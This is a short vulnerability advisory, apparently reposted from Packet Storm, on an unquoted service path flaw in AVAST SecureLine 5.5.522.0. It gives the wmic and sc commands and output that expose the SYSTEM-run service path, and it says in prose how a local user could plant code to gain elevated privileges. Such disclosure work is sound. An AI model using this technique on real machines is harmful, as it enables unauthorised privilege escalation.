AVAST SecureLine 5.5.522.0 Unquoted Service Path

AVAST SecureLine version 5.5.522.0 suffers from a SecureLine unquoted service path vulnerability.


MD5 | 58d1a59b571f29ab242b6a4225b38cd5

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# Exploit Title: AVAST SecureLine 5.5.522.0 - 'SecureLine' Unquoted Service Path
# Discovery by: Roberto Piña
# Discovery Date: 2020-03-24
# Vendor Homepage:https://www.avast.com/
# Software Link :https://www.avast.com/es-mx/download-thank-you.php?product=SLN&locale=es-mx
# Tested Version: 5.5.522.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 8.1 Single Language x32 es

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | f
indstr /i /v "C:\Windows\\" | findstr /i "Avast SecureLine" | findstr /i /v """
Avast SecureLine
         SecureLine                       C:\Program Files\AVAST Software\SecureLine\VpnSvc.exe                                         
                                                       Auto

C:\>sc qc SecureLine
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: SecureLine
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\AVAST Software\SecureLine\VpnSvc.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Avast SecureLine
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem


# Exploit:
# A successful attempt would require the local user to be able to insert their code in the system root path 
# undetected by the OS or other security applications where it could potentially be executed during 
# application startup or reboot. If successful, the local user's code would execute with the elevated 
# privileges of the application.

Source: packetstormsecurity.com
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